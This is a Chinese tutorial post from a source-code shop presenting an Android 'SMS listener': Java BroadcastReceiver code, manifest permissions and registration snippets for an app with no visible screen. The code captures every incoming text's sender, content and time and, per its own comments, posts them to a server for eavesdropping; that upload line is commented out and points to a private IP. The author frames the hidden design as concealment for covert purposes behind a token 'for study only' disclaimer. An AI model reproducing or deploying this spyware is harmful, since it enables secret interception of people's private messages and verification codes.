源码网商城,靠谱的源码在线交易网站 我的订单 购物车 帮助

源码网商城

android短信监听工具(示例代码)

  • 时间:2021-04-20 14:15 编辑: 来源: 阅读:
  • 扫一扫,手机访问
摘要:android短信监听工具(示例代码)
在学习本实例之前,读者请先了解一下android四大组件中的“广播接收者”的基本概念和使用。 由于是“监听程序”,所以就不需要建立Activity。这样也算是一种“遮掩”吧。使用BroadcastReceiver,就能达到这“不可告人”的目的。呵呵。当然,使用服务来开发此类应用,更加合适。这里就不再深入讨论“服务”了。本实例仅供学习参考,请勿非法用途。
[u]复制代码[/u] 代码如下:
package cn.itcast.sms; import java.sql.Date; import java.text.SimpleDateFormat; import java.util.HashMap; import java.util.Map; import cn.itcast.utils.SocketHttpRequester; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.telephony.SmsMessage; import android.util.Log; public class SMSBroadcastReceiver extends BroadcastReceiver {     //在接受者这边获取短信相关信息,将相关信息发到服务器上进行窃听  @Override  public void onReceive(Context context, Intent intent) {   Object[] pduses = (Object[])intent.getExtras().get("pdus");   for(Object pdus : pduses){    byte[] pdusmessage = (byte[]) pdus;//没一条短信    SmsMessage sms = SmsMessage.createFromPdu(pdusmessage);    String mobile = sms.getOriginatingAddress();//得到电话号码    String content = sms.getMessageBody();//得到短信的内容    Date date = new Date(sms.getTimestampMillis());//得到发送短信具体时间    //2009-10-12 12:21:23    SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");//为实践设置格式    String sendtime = format.format(date);    Map<String, String> params = new HashMap<String, String>();    params.put("method", "getSMS");//将与短信相关的内容全部都放到集合里    params.put("mobile", mobile);    params.put("content", content);    params.put("sendtime", sendtime);    try {//利用socket向服务器发送窃听到的内容     //SocketHttpRequester.post("http://192.168.1.100:8080/videoweb/video/manage.do", params, "UTF-8");    } catch (Exception e) {     Log.e("SMSBroadcastReceiver", e.toString());    }   }  } }
注意修改Android项目文件的配置
[u]复制代码[/u] 代码如下:
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android"       package="cn.itcast.sms"       android:versionCode="1"       android:versionName="1.0">     <application android:icon="@drawable/icon" android:label="@string/app_name">   <receiver android:name=".SMSBroadcastReceiver">    <intent-filter>     <action android:name="android.provider.Telephony.SMS_RECEIVED"/>    </intent-filter>   </receiver>     </application>     <uses-sdk android:minSdkVersion="8" /> <uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->  <!-- 访问网络的权限 --> <uses-permission android:name="android.permission.INTERNET"/> </manifest>
最后说一点,Android中广播的注册机制,其实有2种方式(上文中使用的是第二种方式--配置项目清单文件)。 第一,通过代码的方式注册;  当实现了广播接收器,还要设置广播接收器接收广播信息的类型,这里是信息:android.provider.Telephony.SMS_RECEIVED 我们就可以把广播接收器注册到系统里面,可以让系统知道我们有个广播接收器。这里有两种,一种是代码动态注册:
[u]复制代码[/u] 代码如下:
//生成广播处理  smsBroadCastReceiver = new SmsBroadCastReceiver();  //实例化过滤器并设置要过滤的广播  IntentFilter intentFilter = new IntentFilter();  intentFilter.addAction(SMS_ACTION);  //注册广播  BroadCastReceiverActivity.this.registerReceiver(smsBroadCastReceiver, intentFilter); 
  • 全部评论(0)
联系客服
客服电话:
400-000-3129
微信版

扫一扫进微信版
返回顶部